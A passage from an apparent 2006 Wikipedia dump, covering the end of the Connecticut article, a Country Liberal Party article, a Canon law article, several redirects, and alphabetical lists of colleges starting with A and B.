**[[Protestantism|Protestant]] &amp;ndash; 48%
***[[Baptist]] &amp;ndash; 10%
***[[Episcopal]] &amp;ndash; 6%
***[[Methodism|Methodist]] &amp;ndash; 4%
***[[Lutheranism|Lutheran]] &amp;ndash; 4%
***[[Congregational church|Congregational]]/[[United Church of Christ]] &amp;ndash; 2%
***Other Protestant or general Protestant &amp;ndash; 22%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 34%
**Other Christian &amp;ndash; 1%
*[[Judaism|Jewish]] &amp;ndash; 3%
*Other Religions &amp;ndash; 1%
*Non-Religious &amp;ndash; 13%

There is a significant [[Jewish]] population in the state, mostly concentrated in the &quot;Gold Coast&quot; towns between [[Greenwich, Connecticut|Greenwich]] and [[New Haven, Connecticut|New Haven]] and in the [[Hartford, Connecticut|Hartford]] suburb of [[West Hartford, Connecticut|West Hartford]]. New Haven once had a significant Jewish population, but it has mostly moved elsewhere, although there is still a large concentration in the suburban towns west of New Haven. Recent immigration has brought other non-Christian religions to the state, but the numbers of adherents of other religions are still low.

== September 11, 2001 ==
Connecticut was particularly hard-hit on [[September 11, 2001 attacks|9/11]] as many of the state's residents work in New York City. Over five-hundred people from Connecticut were killed, most of them from the southwestern area of the state. Many schools in Connecticut closed for the day because of the number of students who had parents who worked in New York City. By nightfall, [[Metro-North Railroad|train stations]] in Greenwich, Fairfield, Westport, Seymour and Danbury still had full parking lots, giving residents a fearful sense of reality to the number of people who were missing.

== Important cities and towns ==
{| style=&quot;font-size: smaller; width:100%;&quot;
|-
|valign=&quot;top&quot;|
Population &gt; 10,000 (urbanized area)
*[[Danbury, Connecticut|Danbury]]
*[[Bridgeport, Connecticut|Bridgeport]]
*[[Hartford, Connecticut|Hartford]]
*[[New Haven, Connecticut|New Haven]]
*[[New London, Connecticut|New London]]
*[[Norwich, Connecticut|Norwich]]
*[[Stamford, Connecticut|Stamford]]
*[[Waterbury, Connecticut|Waterbury]]
|valign=&quot;top&quot;|
Population &gt; 10,000 (urbanized area)
*[[Meriden, Connecticut|Meriden]]
*[[Middletown, Connecticut|Middletown]]
*[[Storrs, Connecticut|Storrs]]
*[[Torrington, Connecticut|Torrington]]
*[[Willimantic, Connecticut|Willimantic]]
|valign=&quot;top&quot;|
Important Suburbs
*[[Bristol, Connecticut|Bristol]]
*[[Greenwich, Connecticut|Greenwich]]
*[[Manchester, Connecticut|Manchester]]
*[[New Britain, Connecticut|New Britain]]
*[[Norwalk, Connecticut|Norwalk]]
*[[Ridgefield, Connecticut|Ridgefield]]
*[[West Hartford, Connecticut|West Hartford]]
*[[Westport, Connecticut|Westport]]
|}

===25 Richest places in Connecticut===
{{main|Connecticut locations by per capita income}}

Ranked by [[per capita income]]:
#[[New Canaan, Connecticut]]	$82,049
#[[Darien, Connecticut]]	$77,519
#[[Weston, Connecticut]]	$74,817
#[[Greenwich, Connecticut]]	$74,346
#[[Westport, Connecticut]]	$73,664
#[[Wilton, Connecticut]]	$65,806
#[[Roxbury, Connecticut]]	$56,769
#[[Georgetown, Connecticut]]	$55,029
#[[Easton, Connecticut]]	$53,885
#[[Essex Village, Connecticut]]	$51,928
#[[Ridgefield, Connecticut]]	$51,795
#[[Avon, Connecticut]]	$51,706
#[[Groton Long Point, Connecticut]]	$51,066
#[[Redding, Connecticut]]	$50,687
#[[Woodbridge, Connecticut]]	$49,049
#[[Sharon, Connecticut]]	$45,418
#[[Fairfield, Connecticut]]	$43,670
#[[Lyme, Connecticut]]	$43,347
#[[Essex, Connecticut]]	$42,806
#[[Bridgewater, Connecticut]]	$42,505
#[[Cornwall, Connecticut]]	$42,484
#[[Madison Center, Connecticut]]	$42,046
#[[Old Lyme, Connecticut]]	$41,386
#[[Noank, Connecticut]]   $41,355
#[[Glastonbury, Connecticut]]   $40,820

== Education ==
=== Colleges and universities ===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
*[[Albertus Magnus College]]
*[[Briarwood College]]
*[[Central Connecticut State University]]
*[[Charter Oak State College]]
*[[Connecticut College]]
*[[Eastern Connecticut State University]]
*[[Fairfield University]]
*[[Holy Apostles College and Seminary]]
*[[Manchester Community College]]
*[[Mitchell College]]
*[[Norwalk Community College]]
*[[Paier College of Art]]
*[[Post University]]
*[[Quinnipiac University]]
*[[Rensselaer at Hartford]]
&lt;/td&gt;&lt;td valign=top&gt;
*[[Sacred Heart University]]
*[[Saint Joseph College]]
*[[Southern Connecticut State University]]
*[[Trinity College (Connecticut)|Trinity College]]
*[[United States Coast Guard Academy]]
*[[University of Bridgeport]]
*[[University of Connecticut]]
*[[University of Hartford]]
*[[University of New Haven]]
*[[Wesleyan University]]
*[[Western Connecticut State University]]
*[[Yale University]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== Sports teams ==
*[[Connecticut Sun]] of the [[Women's National Basketball Association]]
*Until 1997, the National Hockey League had a franchise in Hartford, the [[Hartford Whalers]]. Their departure to [[North Carolina]] caused great controversy and resentment.

[[Minor League Hockey]] Teams:
*[[Bridgeport Sound Tigers]] of the [[American Hockey League]]
*[[Hartford Wolf Pack]] of the [[American Hockey League]]
*[[Danbury Trashers]]  of the [[United Hockey League]]

[[Minor League Baseball]] Teams:
*[[Bridgeport Bluefish]]
*[[Connecticut Defenders]]
*[[New Britain Rock Cats]]
*[[Manchester Silkworms]] of the [[New England Collegiate Baseball League]]
*[[New Haven County Cutters]] of the [[Canadian-American League]]

[[Bicycle Racing|Professional Cycling]] Teams:
*Team Nerac.com presented by OutdoorLights.com

The [[Connecticut Interscholastic Athletic Conference]] is the state's sanctioning body for high school sports. [[Xavier High School (Middletown, CT)]] claimed the 2005 Class LL football championship.  Other state champions in football include Staples (in Westport), Branford, Daniel Hand (in Madison), Woodland Regional (in Beacon Falls), and Hyde Leadership (in Hamden).

== Famous residents ==
*[[Leona Helmsley]], real estate maven who lives in [[Greenwich, Connecticut]]
*[[Martha Stewart]], domestic diva who lives in [[Westport, Connecticut]]
*[[Paul Newman]], salad dressing guru and actor with ties to [[New Canaan, Connecticut]]
*[[David Letterman]], late night talk show host with ties to [[New Canaan, Connecticut]]
*[[Phil Donahue]], former talk show host who lives in [[Westport, Connecticut]]
*[[Henry Kissinger]], former Secretary of State who lives in [[Kent, Connecticut]]
*[[Ivan Lendl]], former tennis pro who maintains a residence in [[Litchfield, Connecticut]]
*[[50 Cent]], rapper who maintains a residence in [[Farmington, Connecticut]]
*[[Rivers Cuomo]], lead singer of [[Weezer]], attended high school in [[Storrs, Connecticut]]
*[[John Mayer]], singer, native of [[Fairfield, Connecticut]]
*[[Ralph Nader]], consumer advocate and former U.S. presidential candidate, native of [[Winsted, Connecticut]]
*[[Diana Ross]], singer, maintains a residence in Belle Haven, [[Greenwich, Connecticut]]

== Connecticut in the mass media ==
{{further|[[List of television shows set in Connecticut]]}}

==See also==
*[[Connecticut State Troubadour]]
*[[Connecticut Conservative]]- A [[weblog]] dealing primarily with Connecticut politics.

== External links ==
{{sisterlinks|Connecticut}}
*[http://www.ct.gov/ State of Connecticut] - official state website
*[http://www.ctbound.org/ CTBound.org] - official state tourism website
*{{wikitravel}}
*[http://www.chs.org/ Connecticut Historical Society]
*[http://quickfacts.census.gov/qfd/states/09000.html U.S. Census Bureau]
*[http://www.usnewspapers.org/state/connecticut Connecticut Newspapers]
*[http://www.berkshirehiking.com - Free tourism site for western Connecticut]
*[http://www.antiquesandthearts.com/CS-2005-04-26-14-06-31p1.htm Review of book on Connecticut furniture makers]
*[http://www.ctmenus.com CTmenus.com - Free directory of Connecticut dining and restaurants]
*[http://www.wadsworthatheneum.org/view/america-decorative.php American Decorative Arts collection of the [[Wadsworth Atheneum]]], with pictures of Connecticut furniture in the collection.
*[http://www.connecticutcountymaps.com/ Connecticut County Maps] Full color maps with list of cities, towns.
* [[Connecticut business hall of fame | Connecticut Business Hall Of Fame]]

==References==
* {{cite web 
 | url = http://www.ct.gov/ctportal/cwp/view.asp?a=843&amp;q=246434 
 | title = CT.gov: About Connecticut 
 | accessdate = [[December 18]], [[2005]]
 }}

{{Connecticut}}
{{United States}}

[[Category:Connecticut|*]]
[[Category:New England]]
[[Category:States of the United States]]
[[Category:1788 establishments]]

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[[zh:康乃狄克州]]</text>
    </revision>
  </page>
  <page>
    <title>Cystic Fibrosis</title>
    <id>6467</id>
    <revision>
      <id>15904604</id>
      <timestamp>2002-04-27T15:32:18Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>redirect [[cystic fibrosis]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cystic fibrosis]]</text>
    </revision>
  </page>
  <page>
    <title>Country Liberal Party</title>
    <id>6468</id>
    <revision>
      <id>42031675</id>
      <timestamp>2006-03-03T09:21:35Z</timestamp>
      <contributor>
        <username>Markrad</username>
        <id>666954</id>
      </contributor>
      <text xml:space="preserve"> {{Infobox_Australian_Political_Party |
  party_name       = Country Liberal Party |
  party_logo       = [[Image:Countryliberallogo.png]] |
  party_wikicolourid     = CLP |
  leader           = [[Jodeen Carney]] |
  foundation       = [[1974]] |
  ideology         = [[Liberal conservatism|liberal conservative]] |
  headquarters     = 107 Woods Street&lt;br&gt;[[Darwin, Northern Territory|Darwin]] [[Northern Territory|NT]] 0800 |
  holds_government = [[Australia|Federal]] (in [[Coalition (Australia)|Coalition]])|
  website          = [http://www.clp.org.au/ Country Liberal Party]|
  international = No affiliation
}}

In [[Australia]]n politics, the '''Country Liberal Party''' (CLP) is the [[Northern Territory]] equivalent to the [[Liberal Party of Australia|Liberal]] and [[National Party of Australia|National]] parties.

The CLP's Federal representatives (currently, the party has one [[Australian Senate|Senator]], [[Nigel Scullion]], and one [[Australian House of Representatives|MHR]], [[Dave Tollner]]) sit with the National and Liberal parties in the [[Australian Parliament]] as part of the [[Coalition (Australia)|Coalition]].

Until the major change of 2001, the CLP was closely associated with Territorians of European decent, while the ALP was associated with those of Aboriginal descent. This affected the way these groups were treated at both a Territory and Federal government level.

==History==
In [[1966]], the Country Party was well established in the territory, while the Liberal Party was small. In recognition of this, the local Liberals supported the Country candidate for the sole NT seat from 1966 to [[1972]]. An alliance had formed, primarily against the conservatives' arch rivals the [[Australian Labor Party]] (ALP).

In [[1974]], the Northern Territory was given self-government, and its own [[Legislative Assembly]]. The local Country and Liberal Party members decided to form an independent &quot;Country Liberal Party&quot; to field candidates for the Assembly. It was wildly successful, and remained so for 27 years.

In [[1979]], the CLP formally affiliated with both the now National Country Party and Liberal Party. These affiliations remain to this day, and relationships with both parties is close. However, the CLP has had no major opportunities to sway the actions of either.

In [[2001]], the CLP finally lost control of the Territory government in a landslide loss, to the ALP. This was a major change in Territory politics, and in [[2005]] the ALP won a second landslide victory and in the process reduced the CLP to just four members in the Legislative Assembly.

==External links==
*[http://www.clp.org.au/ Country Liberal Party official site]
*[http://www.clp.org.au/about/origins%20history.htm Official history]

{{Australian political parties}}

[[Category:Liberal-conservative parties]]
[[Category:Political parties in Australia]]</text>
    </revision>
  </page>
  <page>
    <title>Canon law</title>
    <id>6469</id>
    <revision>
      <id>41178417</id>
      <timestamp>2006-02-25T15:56:09Z</timestamp>
      <contributor>
        <username>Workman</username>
        <id>738547</id>
      </contributor>
      <comment>fixed broken link to Vatican website with 1983 Code of Canon Law</comment>
      <text xml:space="preserve">{{christianity}}
In [[Western society|Western culture]], '''canon law''' is the [[law]] of the [[Catholicism|Roman Catholic]] and [[Anglicanism|Anglican]] churches. The [[Eastern Orthodoxy|Eastern Orthodox]] concept of ''canon law'' is similar to but not identical to the more [[legislative power|legislative]] and [[court|juridical]] model of the West. In both traditions, a canon is a rule adopted by a [[ecumenical council|council]] (From [[Greek language|Greek]] ''kanon'' / κανών, for rule, standard, or measure); these canons formed the foundation of canon law. 

In the official Anglican [[Church of England]], the [[ecclesiastical court]]s that formerly decided many matters such as disputes relating to marriage, divorce, wills, and defamation, still have jurisdiction of certain church-related matters (e.g., discipline of clergy, alteration of church property, and issues related to churchyards).  Their separate status dates back to the 12th century when the [[Normans]] split them off from the mixed secular/religious county and local courts used by the Saxons. In contrast to the other [[court]]s of England the law used in ecclesiastical matters is at least partially a [[Civil law (legal system)|civil law]] system, not [[common law]], although heavily governed by parliamentary statutes.  Since the [[Reformation]], ecclesiastical courts in England have been royal courts.  The teaching of canon law at the Universities of Oxford and Cambridge was abrogated by [[Henry VIII of England|Henry VIII]]; thereafter practitioners in the [[ecclesiastical courts]] were trained in [[Civil law (legal system)|civil law]], receiving a [[Doctor of Civil Law]] (D.C.L.) degree from Oxford, or an LL.D. from Cambridge.  Such lawyers (called &quot;doctors&quot; and &quot;civilians&quot;) were centered at &quot;[[Doctors' Commons|Doctors Commons]],&quot; a few blocks south of [[St Paul's Cathedral]] in [[London]], where they monopolized [[probate]], matrimonial, and [[admiralty]] cases until their jurisdiction was removed to the [[common law]] courts in the mid-19th century.  (Admiralty law was also based on civil law instead of common law, thus was handled by the civilians too.)

Other churches in the [[Anglican Communion]] around the world (e.g., the [[Episcopal Church in the United States]], and the [[Anglican Church of Canada]]) still function under their own private systems of canon law.

In the Roman Catholic church, the canons of the councils were supplemented with [[decretal|decretals]] of the [[Pope]]s, which were gathered together into collections such as the ''Liber Extra'' (1234), the  ''Liber Sextus'' (1298) and the ''Clementines'' (1317).

In the [[20th century]], the Roman Catholic Church began attempting to [[codification|codify]] canon law, which two millennia of development had become a complex and difficult system of interpretation and cross-referencing. The [[1917 Code of Canon Law|first code of canon law]] was promulgated in [[1917]] and took force in 1918. A revised code, the [[1983 Code of Canon Law|Codex Iuris Canonici]] (Code of Canon Law, CIC) was promulgated in January [[1983]] and took effect in November 1983. Canon law within the Catholic Church is a fully developed legal system, with all the familiar trappings of courts (including lawyers); the highest degree of education in canon law is the J.C.D. (''Juris Canonici Doctor'', [[Doctor of Canon Law]]).

The [[Eastern Catholic Churches]] have a separate code of canon law. The first attempt to codify Eastern law under the name Codex Iuris Canonici Orientalis ([[Code of Eastern Canon Law]]) was partially completed when [[Pope Pius XII]] promulgated portions of the canons in [[1948]]. However, when the project neared completion in [[1959]], [[Pope John XXIII]] suspended work as the expected conciliar reforms would affect the code. The Codex Canonum Ecclesiarum Orientalium ([[Code of Canons of the Eastern Churches]], CCEO) was promulgated in November [[1990]]. The majority of canons correspond closely to the Roman code, but incorporates certain differences in the hierarchy, administration and other areas.

The Orthodox Christian tradition is generally much less legalistic, and treats many of the canons more as guidelines than as absolute laws, adjusting them to cultural and other local circumstances. Some Orthodox canon scholars point out that, had the [[Ecumenical Councils]] (which deliberated in Greek) meant for the canons to be used as laws, they would have called them ''nomoi/&amp;#957;&amp;#959;&amp;#956;&amp;#959;&amp;#953;'' (laws) rather than ''kanones/&amp;#954;&amp;#945;&amp;#957;&amp;#959;&amp;#957;&amp;#949;&amp;#962;'' (standards).

Greek-speaking Orthodox have collected canons and commentary upon them in a work known as the ''Pedalion/&amp;#928;&amp;#949;&amp;#948;&amp;#945;&amp;#955;&amp;#953;&amp;#959;&amp;#957;'' (rudder--so called because it is meant to &quot;steer&quot; the Church). However, this is not a codification, but simply a compilation of one tradition of interpretation of the canons.

==See also==
*[[Probatio diabolica]]
*[[Gratian (jurist)]]
*[[Decretum Gratiani]]

==External links==
*[http://www.vatican.va/archive/ENG1104/_INDEX.HTM Roman Catholic 1983 Code of Canon Law, IntraText edition with referenced concordance, hosted by the Vatican]
*[http://www.intratext.com/BCI/default.htm#DC Canon Law section (including Eastern Catholic Churches) of the IntraText Digital Library]
*[http://canonlaw.anglican.org/ &quot;Resources for Anglican Canon Law&quot;]
*[http://www.newadvent.org/cathen/09056a.htm Catholic Encyclopedia: Canon Law]


[[Category:Canon law]]

[[cs:Kanonické právo]]
[[da:Kirkeret]]
[[de:Kanonisches Recht]]
[[el:Κανονικό Δίκαιο]]
[[es:Derecho canónico]]
[[fr:Droit canonique]]
[[ko:교회법]]
[[it:Diritto canonico]]
[[he:משפט קנוני]]
[[nl:Canoniek recht]]
[[pl:Prawo kanoniczne]]
[[pt:Direito canónico]]
[[sv:Kanonisk rätt]]</text>
    </revision>
  </page>
  <page>
    <title>Computational Linguistics</title>
    <id>6470</id>
    <revision>
      <id>15904607</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computational linguistics]]
</text>
    </revision>
  </page>
  <page>
    <title>Colleges and universities/ByCountry</title>
    <id>6473</id>
    <revision>
      <id>15904610</id>
      <timestamp>2002-08-24T18:00:57Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to List of colleges and universities by country</comment>
      <text xml:space="preserve">#REDIRECT [[List of colleges and universities by country]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with A</title>
    <id>6474</id>
    <revision>
      <id>39234260</id>
      <timestamp>2006-02-11T19:08:54Z</timestamp>
      <contributor>
        <username>American Patriot 1776</username>
        <id>617080</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''A''' -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----

==Aa-Ai==
#[[Aachen University of Technology]]
#[[Aalborg Business College]]
#[[Aalborg University]]
#[[Aarhus School of Business]]
#[[Aarhus Technical College]]
#[[Abant Izzet Baysal University]]
#[[Aberdeen University]]
#[[Abertay University]]
#[[Abilene Christian University]]
#[[Åbo Akademi University]]
#[[Abraham Baldwin Agricultural College]]
#[[Academy Canada]]
#[[Academy of Economics, Wroclaw]]
#[[Academy of Media Arts]]
#[[Academy of New Church]]
#[[Acadia University]]
#[[Acharya Nagarjuna University]]
#[[Adam Mickiewicz University]]
#[[Addis Ababa University]]
#[[Adelphi University]]
#[[Agder College]]
#[[Agnes Scott College]]
#[[Agricultural Cooperative College]] -- [[Gyeonggi]], [[South Korea]]
#[[Agricultural University of Norway]] (NLH)
#[[Air Force Institute of Technology]]

==Aj-Ak==
#[[Ajman University College of Science and Technology ]]
#[[Ajou University]] -- [[Gyeonggi]], [[South Korea]]
#[[Akita University]]
==Al==
#[[Al Akhawayn University]]
#[[Al-Azhar University]], [[Cairo]], [[Egypt]]
#[[Al-Quds University]]
#[[Al.I.Cuza Iasi University of Iasi]]

===Ala-Ali===
#[[Alabama Aviation and Technical College]]
#[[Alabama State University]]
#[[Alagappa Government College of Engineering and Technology]]
#[[Alaska Pacific University]]
#[[Allame Tabataba'ee University, Tehran]]
#[[University of Alaska Anchorage|Alaska, University of (Anchorage)]]
#[[University of Alaska Fairbanks|Alaska, University of (Fairbanks)]]
#[[University of Alaska Southeast|Alaska, University of (Southeast)]]
#[[Albany College of Pharmacy]]
#[[Albany State University]]
#[[Albert Ludwigs University of Freiburg]]
#[[Albert Szentgyorgyi Medical University]]
#[[University of Alberta|Alberta, University of]]
#[[Alberta Vocational College]] [[Calgary]]
#[[Albertson College of Idaho]]
#[[Albion College]]
#[[Albuquerque Technical-Vocational Institute]]
#[[Alcorn State University]]
#[[Alesund College]]
#[[Alfred University]]
#[[Algonquin College]]
#[[Aligarh University]]
#[[Aligarh Muslim University]], [[Aligarh]], [[India]]
===All-Alz===
#[[All Hallows College]]
#[[All-India Institute of Medical Sciences]] (AIIMS), Delhi
#[[Allegany College of Maryland]]
#[[Allegheny College]]
#[[Allegheny University of the Health Sciences]]
#[[Allentown Business School]]
#[[Allentown College]]
#[[Alliance University College/Nazarene University College]]
#[[Alma College]]
#[[Altay State University]]
#[[Alverno College]]
#[[Alvin Community College]]
#[[Alzahra University]], [[Tehran]]

==Am==
#[[Amarillo College]]
#[[Ambassador University]]
#[[American Academy of English]]
#[[American Baptist Theological Seminary]]
#[[American College of Prehospital Medicine]]
#[[American Graduate School of International Relations and Diplomacy]]
#[[American River College]]
#[[American University]]
#[[American University in Bulgaria]]
#[[American University in Cairo]]
#[[American University of Armenia]]
#[[American University of Beirut]]
#[[American University of Paris]]
#[[Amherst College]]
#[[Amirkabir University of Technology|Amirkabir University of Technology - Tehran Polytechnic]]
#[[Amrita Vishwa Vidyapeetham]]

==An-Ap==
#[[Anadolu University]]
&lt;!-- anderson College is Anderson University in South Carolina --&gt;
#[[Anderson University (South Carolina)]]
#[[Anderson University (Indiana)]]
#[[Andhra University College of Engineering]]
#[[Andong Institute of Information Technology]] -- [[North Gyeongsang]], [[South Korea]]
#[[Andong National University]] -- North Gyeongsang, South Korea
#[[Andong Science College]] -- North Gyeongsang, South Korea
#[[Andrews University]]
#[[Andrews University School of Business]]
#[[Angelo State University]]
#[[Anglia Ruskin University]]
#[[Anhui University]]
#[[Anhui University of Finance and Economics]]
#[[Anhui University of Technology]]
#[[Anna University]]
#[[Annamalai University]]
#[[Anne Arundel Community College]]
#[[Anoka-Ramsey Community College]]
#[[Ansan College]] -- [[Gyeonggi]], [[South Korea]]
#[[Ansan College of Technology]] -- Gyeonggi, South Korea
#[[Ansung Women's Polytechnic College]] -- Gyeonggi, South Korea
#[[Antioch University]]
#[[Anyang University]] -- Gyeonggi, South Korea
#[[Aoyama Gakuin]]
#[[Appalachian Bible College]]
#[[Appalachian State University]]

==Aq-Ar==
#[[Aquinas College]]
#[[Arcadia University]]
#[[University of the Arctic|Arctic, University of the]]
#[[Aristotle University of Thessaloniki]]
#[[Arizona State University]] ([[Tempe, Arizona]])
#[[Arizona Western College]]
#[[Arkansas State University]]
#[[Arkansas Tech University]]
#[[Armed Forces Medical College, Pune]]
#[[Armstrong State College]]
#[[Art Academy of Cincinnati]]
#[[Art Center College of Design]]
#[[Art Institute of Seattle]]
==As-At==
#[[Asan Information and Technology Polytechnic College]] -- [[South Chungcheong]], [[South Korea]]
#[[Ashford University]]
#[[Ashland University]]
#[[Asia United Theological University]] -- [[Seoul]] and [[Gyeonggi]], [[South Korea]]
#[[Asian Institute of Management]]
#[[Asian Institute of Technology]]
#[[Askeri Elektronik Sanayi]]
#[[Asnuntuck Community-Technical College ]]
#[[Associated Canadian Theological Schools]]
#[[Assumption College]]
#[[Assumption University]]
#[[Aston University]]
#[[Ateneo de Manila University]]
#[[Athabasca University]]
#[[Athena University]]
#[[Athens Area Technical Institute]]
#[[Athens State College]]
#[[Athens University of Economics and Business]] (AUEB)
#[[Athlone Regional Technical College]]
#[[Atlantic Baptist University]] ([[Moncton, New Brunswick]], [[Canada]])
#[[Atlantic Community College]]
#[[Attila Jozsef University]]

==Au-Ay==
#[[Auburn University]]
#[[Auckland University of Technology]]
#[[Augsburg College]]
#[[Augustana College, IL]]
#[[Augustana College, SD]]
#[[Augustana University College]]
#[[Augusta State University]]
#[[Aurora University]]
#[[Aurora College]]
#[[Austin College]]
#[[Austin Community College]]
#[[Austin Peay State University]]
#[[Austin Waldron Regional Technical College]]
#[[Australian Catholic University]]
#[[Australian Correspondence Schools]]
#[[Australian Defence Force Academy]]
#[[Australian International Hotel School]]
#[[Australian National University]]
#[[A.V.C. College]]
#[[Averett College]]
#[[Avila University]]
#[[Avondale College]] ([[Australia]])
#[[Aylesbury College]]
#[[Ayr College]]
==Az==
#[[Azad University in Gorgan]]
#[[Azad University in Isfahan]]
#[[Azad University in Tehran]]
#[[Azusa Pacific University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|A]]--&gt;</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with B</title>
    <id>6475</id>
    <revision>
      <id>35576686</id>
      <timestamp>2006-01-17T19:47:05Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- '''B''' -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
==B==
#[[BMS College of Engineering]]
==Ba==
#[[Babes-Bolyai University of Cluj]]
#[[Babson College]]
#[[Baekseok College]] -- [[South Chungcheong]], [[South Korea]]
#[[Bahria University]]
#[[Baker University]]
#[[Baldwin-Wallace College]]
#[[Ball State University]]
#[[Banaras Hindu University]]
#[[Bangor, University of Wales]]
#[[Bangkok University]]
#[[Bangladesh University of Engineering and Technology]]
#[[Bank Street College]]
#[[Baptist Bible College, Missouri]]
#[[Baptist Bible College, Pennsylvania]]
#[[Bar-Ilan University]], [[Ramat Gan]]
#[[Bard College]]
#[[Barnard College]]
#[[Barrington University]]
#[[Barry University]]
#[[Barton College]]
#[[Barton Institute of Technical and Further Education]] (TAFE)
#[[Baruch College School of Business]]
#[[Bastyr University]]
#[[Bates College]]
#[[Baylor College of Dentistry]]
#[[Baylor College of Medicine]]
#[[Baylor University]]
#[[Bay Mills Community College]]

==Be==
===Bea-Bem===
#[[Arcadia University|Beaver College]]
#[[Bedford Business College]]
#[[Beijing Agricultural University]]
#[[Beijing Agriculture University]]
#[[Beijing Institute of Technology]]
#[[Beijing University of Aeronautics and Astronautics]]
#[[Beijing University of Aeronautics and Astronautics]]
#[[Beijing University of Chemical Technology]]
#[[Beijing University of Posts and Telecommunications]]
#[[Beijing University of Technology]]
#[[Belarusian State University]]
#[[Belarusian State University of Informatics and Radioelectronics]] (BSUIR)
#[[Bell College Of Technology]]
#[[Bellarmine University]]
#[[Bellevue Community College]]
#[[Bellevue University]]
#[[Belmont Abbey College]]
#[[Belmont University]]
#[[Beloit College]]
#[[Bemidji State University]]

===Ben-Bet===
#[[Ben-Gurion University of the Negev]]
#[[Benedict College]]
#[[Benedictine College]]
#[[Bengal Engineering College]]
#[[Bennington College]]
#[[Bentley College]]
#[[Berea College]]
#[[Berea University of Graduate Studies]] -- [[Seoul]], [[South Korea]]
#[[Bergen College]]
#[[Bergen University]]
#[[Berklee College of Music]]
#[[Bermuda College]]
#[[Berufsakademie Ravensburg]]
#[[Berufsakademie Mosbach]]
#[[Bessenyei Gyorgy Teachers Training College]]
#[[Bethany College (California)]]
#[[Bethany College (West Virginia)]]
#[[Bethel College and Seminary, St. Paul Minnesota]]
#[[Bethel College, Newton, Kansas]]
# [[Bethune College]]

==Bi-Bl==
#[[Biel School of Engineering]]
#[[Bifröst School of Business]]
#[[Big Bend Community College]]
#[[Bilkent University]]
#[[Biola University]]
#[[Birkbeck, University of London]]
#[[Birla Institute of Technology]]
#[[Birla Institute of Technology and Science]] (BITS)
#[[Birmingham College of Food]]
#[[Birmingham College of Speech and Drama]]
#[[Birmingham-Southern College]]
#[[Birzeit University]]
#[[Bishop's University]]
#[[Blackfeet Community College]]
#[[Black Hills State University]]
#[[Blackburn College]]
#[[Blekinge Institute of Technology]]
#[[Bloomsburg University of Pennsylvania]]
#[[Blue Mountain Community College]]
#[[Blue Ridge Community College]]
#[[Bluffton College]]
==Bo==
#[[Bob Jones University]]
#[[Bogazici University]]
#[[Boise State University]]
#[[Bond University]]
#[[Borough of Manhattan Community College]]
#[[Boston Architectual Center]]
#[[Boston Baptist College]]
#[[Boston College]]
#[[Boston Theological Institute]]
#[[Boston University]]
#[[Boston University Brussels]]
#[[Bournemouth University]]
#[[Bournemouth Arts Institute]]
#[[Bowdoin College]]
#[[Bowie State University]]
#[[Bowling Green State University]]
==Br==
===Bra-Bri===
#[[University of Bradford]]
#[[Bradley Academy for the Visual Arts]]
